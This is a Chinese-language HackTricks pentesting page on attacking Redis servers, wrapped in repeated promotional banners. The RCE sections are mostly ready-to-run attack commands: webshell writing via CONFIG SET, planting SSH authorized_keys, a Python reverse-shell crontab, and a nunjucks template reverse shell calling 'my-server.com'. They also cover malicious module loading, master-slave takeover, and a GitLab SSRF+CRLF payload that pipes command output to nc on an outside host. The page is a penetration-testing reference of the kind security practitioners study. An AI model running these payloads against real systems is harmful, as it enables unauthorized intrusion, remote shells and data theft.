hacktricks/network-services-pentesting/6379-pentesting-redis.md

340 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Redis渗透测试
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
**最新公告**\
随时了解最新的赏金任务发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
## 基本信息
根据[文档](https://redis.io/topics/introduction)Redis是一个开源BSD许可证用作**数据库**、缓存和消息代理的**内存数据结构存储**。
默认情况下Redis使用基于纯文本的协议但您必须记住它也可以实现**ssl/tls**。了解如何[在此处使用ssl/tls运行Redis](https://fossies.org/linux/redis/TLS.md)。
**默认端口:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## 自动枚举
一些自动化工具可以帮助获取来自 Redis 实例的信息:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## 手动枚举
### 横幅
Redis是一种基于文本的协议您可以直接在套接字中发送命令返回的值将是可读的。还要记住Redis可以使用ssl/tls运行但这非常奇怪
在常规的Redis实例中您可以使用`nc`进行连接,或者也可以使用`redis-cli`
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
您可以尝试的**第一个命令**是**`info`**。它可能返回Redis实例的信息或者类似以下内容的输出被返回
```
-NOAUTH Authentication required.
```
在这种情况下,这意味着**您需要有效的凭据**才能访问Redis实例。
### Redis身份验证
**默认情况下**Redis可以在**没有凭据**的情况下访问。但是,它可以被**配置**为仅支持**密码,或用户名+密码**。\
可以在_**redis.conf**_文件中使用参数`requirepass`**设置密码**,或者在服务重新启动连接到它并运行`config set requirepass p@ss$12E45`**临时**设置密码。\
此外可以在_**redis.conf**_文件中的参数`masteruser`中配置**用户名**。
{% hint style="info" %}
如果仅配置了密码,则使用的用户名是“**default**”。\
另外,请注意**外部无法找到**Redis是仅配置了密码还是用户名+密码。
{% endhint %}
在这种情况下您将需要找到有效的凭据才能与Redis进行交互因此可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
**如果找到有效凭据,则需要在与命令建立连接后进行身份验证的会话中进行身份验证:**
```bash
AUTH <username> <password>
```
**有效凭据**将会得到回复:`+OK`
### **已认证枚举**
如果Redis服务器允许**匿名连接**或者您已获得有效凭据,您可以使用以下**命令**启动服务的枚举过程:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**其他Redis命令** [**可以在这里找到**](https://redis.io/topics/data-types-intro) **和** [**这里**](https://lzone.de/cheat-sheet/Redis)**。**
请注意,**实例的Redis命令可以在_redis.conf_文件中重命名**或删除。例如以下行将删除FLUSHDB命令
```
rename-command FLUSHDB ""
```
更多关于如何安全配置Redis服务的信息请参考[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
您也可以使用命令`monitor`实时监控执行的Redis命令或者使用`slowlog get 25`获取前25个最慢的查询。
在这里找到更多关于Redis命令的有趣信息[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **数据库转储**
在Redis中数据库是从0开始编号的数字。您可以通过`info`命令的输出在“Keyspace”块中找到是否有任何数据库正在使用
![](<../.gitbook/assets/image (315).png>)
或者您可以使用以下命令获取所有keyspaces数据库
```
INFO keyspace
```
在这个例子中,正在使用**数据库 0 和 1**。**数据库 0 包含 4 个键,数据库 1 包含 1 个**。默认情况下Redis 将使用数据库 0。要导出例如数据库 1您需要执行
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
在运行`GET <KEY>`时,如果出现`-WRONGTYPE Operation against a key holding the wrong kind of value`错误,这是因为该键可能不是字符串或整数,需要使用特殊操作符来显示它。
要了解键的类型,请使用`TYPE`命令,以下是列表和哈希键的示例。
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**使用npm转储数据库** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **或python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
**最新公告**\
了解最新的赏金任务发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
## Redis RCE
### 交互式Shell
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) 可以自动在Redis(<=5.0.5)中获取交互式shell或反向shell。
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
信息来自[**这里**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)。您必须知道**网站文件夹的路径**
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
如果webshell访问异常您可以在备份后清空数据库并重试记得恢复数据库。
### 模板Webshell
就像在前一节中一样您还可以覆盖一些将由模板引擎解释的html模板文件并获取shell。
例如,根据[**此解决方案**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在一个由**nunjucks模板引擎**解释的html中注入了**反向shell**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
请注意,**几个模板引擎会缓存**模板在**内存**中,因此即使您覆盖它们,新模板**不会被执行**。在这种情况下要么开发人员保留了自动重新加载功能要么您需要对服务进行DoS攻击并期望它将自动重新启动
{% endhint %}
### SSH
示例[来自这里](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
请注意**`config get dir`**的结果可能会在其他手动利用命令之后发生更改。建议在登录到Redis后立即运行它。在**`config get dir`**的输出中,您可以找到**redis用户**的**home**通常为_/var/lib/redis_或_/home/redis/.ssh_知道这一点后您就知道可以在哪里写入`authenticated_users`文件以通过ssh访问**使用redis用户**。如果您知道其他有效用户的主目录,并且具有可写权限,您也可以滥用它:
1. 在您的计算机上生成ssh公钥-私钥对:**`ssh-keygen -t rsa`**
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. 将文件导入到redis**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. 将公钥保存到redis服务器上的**authorized\_keys**文件中:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. 最后,您可以使用私钥**ssh**到**redis服务器****ssh -i id\_rsa redis@10.85.0.52**
**此技术在此处自动化:**[https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
最后一个示例适用于Ubuntu对于**Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
这种方法也可以用来赚取比特币:[yam](https://www.v2ex.com/t/286981#reply14)
### 加载Redis模块
1. 按照[https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)的说明,您可以**编译一个Redis模块来执行任意命令**。
2. 然后需要某种方式**上传编译好的**模块
3. 在运行时**加载上传的模块**`MODULE LOAD /path/to/mymodule.so`
4. **列出已加载的模块**以检查是否正确加载:`MODULE LIST`
5. **执行命令**
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 想要时卸载模块:`MODULE UNLOAD mymodule`
### LUA沙盒绕过
[**这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)您可以看到Redis使用**EVAL**命令来执行**Lua代码沙盒**。在链接的帖子中,您可以看到如何使用**dofile**函数滥用它,但[显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)这已不再可能。无论如何,如果您可以**绕过Lua**沙盒,就可以在系统上**执行任意**命令。此外,从同一帖子中,您可以看到一些**导致DoS**的选项。
一些**用于绕过LUA**的CVE
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### 主从模块
主Redis的所有操作会自动同步到从Redis这意味着我们可以将漏洞Redis视为从Redis连接到我们自己控制的主Redis然后我们可以向我们自己的Redis输入命令。
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF 与 Redis 通信
如果你可以发送**明文请求**到**Redis**,你可以与其**通信**,因为 Redis 会逐行读取请求,并对其不理解的行只会回复错误:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
因此,如果您在网站中发现了**SSRF漏洞**,并且可以**控制**一些**标头**可能是通过CRLF漏洞或**POST参数**您将能够向Redis发送任意命令。
### 示例Gitlab SSRF + CRLF 到 Shell
在**Gitlab11.4.7**中发现了一个**SSRF**漏洞和一个**CRLF**漏洞。**SSRF**漏洞出现在**从URL导入项目功能**中,当创建新项目时允许访问形式为\[0:0:0:0:0:ffff:127.0.0.1]的任意IP这将访问127.0.0.1),而**CRLF**漏洞则是通过向**URL**添加**%0D%0A**字符来利用的。
因此,可以**滥用这些漏洞与管理gitlab队列的Redis实例进行通信**,并滥用这些队列来**获取代码执行**。Redis队列滥用有效负载为
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
而利用SSRF和CRLF滥用URL编码请求执行`whoami`并通过`nc`发送输出的请求是:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
由于某种原因(就像[https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)中作者提到的那样),利用使用`git`协议而不是`http`协议。
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客攻击的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界
**最新公告**\
了解最新的赏金计划发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,立即与顶尖黑客合作!**
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>